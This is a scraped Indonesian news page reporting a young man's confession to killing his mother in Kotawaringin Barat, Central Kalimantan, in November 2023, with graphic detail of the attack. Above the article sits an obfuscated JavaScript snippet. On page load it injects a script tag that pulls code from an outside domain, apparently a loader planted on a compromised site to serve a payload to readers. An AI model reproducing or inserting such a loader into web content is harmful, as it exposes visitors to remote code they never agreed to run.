(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PANGKALAN BUN – Hanya karena sering dimarahi, seorang pemuda MFS (22), warga Desa Pandu Senjaya, Kecamatan Pangkalan Lada, Kabupaten Kotawaringin Barat (Kobar), Kalimantan Tengah, habisi nyawa ibu sendiri. Anak durhaka itu menghabisi ibu yang melahirkannya dengan cara dicekik, dipukul menggunakan setrika, hingga menggorok lehernya menggunakan pisau dapur.
Peristiwa sadis ini baru diketahui seusai pelaku menyerahkan diri ke kantor polisi setelah sehari melakukan aksinya pada Minggu (19/11/2023).
Kapolres Kotawaringin Barat AKBP Bayu Wicaksono mengatakan, seusai melakukan perbuatan keji itu, pelaku mengaku sempat berdiam diri di dalam kamar. Karena merasa dihantui rasa bersalah dan penyesalan, pada keesokan harinya atau Senin (20/11/2023), MFS langsung menyerahkan diri ke Polsek Kecamatan Pangkalan Lada.
Baca juga: Pemko Banjarbaru Mulai Persiapan Bantu Haul ke-19 Guru Sekumpul
“Saat ini pelaku bersama barang bukti sudah kami amankan dan pelaku masih dalam proses penyidikan lebih lanjut,” kata AKBP Bayu Wicaksono, Selasa (21/11/2023).
Dari keterangan MFS kepada polisi, ia nekat menghabisi nyawa ibunya lantaran merasa sakit hati sering dimarahi melalui sambungan telepon saat pelaku masih berada di Semarang, Jawa Tengah, untuk menyelesaikan kuliahnya.
Tidak tahan dengan omelan orangtua, MFS kemudian memutuskan untuk pulang ke Desa Pandu Senjaya pada Jumat (17/11/2023) pagi. Setelah menempuh perjalanan yang cukup jauh, pelaku akhirnya sampai di kampung halamannya pada Minggu (19/11/2023) siang. Pelaku tidak langsung masuk ke dalam rumah, melainkan beristirahat di sebuah barak yang berada di belakang rumah orangtuanya.
Setelah melepas lelah, barulah pelaku masuk ke dalam rumah orangtuanya dan menuju ke dalam kamarnya. Seusai salat Maghrib, ibu dan anak ini terlibat perbincangan, tetapi obrolan keduanya kembali berujung cekcok hingga terjadi penganiayaan oleh sang anak.
Baca juga: Bisa ke Penjara, Polsek Amuntai Utara Pasang Larangan Penyetruman Ikan
MFS yang saat itu merasa tidak terima disebut bukan anak kandung, langsung mencekik sang ibu dengan kedua tangannya sambil melayangkan pukulan berkali-kali di bagian wajah dan kepala, hingga sang ibu tersungkur.
Tidak puas mencekik dan memukul menggunakan tangan, MFS kemudian mengambil sebuah setrika dan kembali memukul bagian kepala sang ibu hingga mengeluarkan darah.
Melihat sang ibu kembali tersungkur di lantai, pelaku bukannya berhenti melainkan mengambil sebuah pisau dapur dan kemudian menggorok leher sang ibu dengan tiga kali sayatan hingga tewas. Pelaku kemudian menutup mayat ibunya menggunakan sebuah sarung yang masih bersimbah darah. (Kanalkalimantan/Beritasatu.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.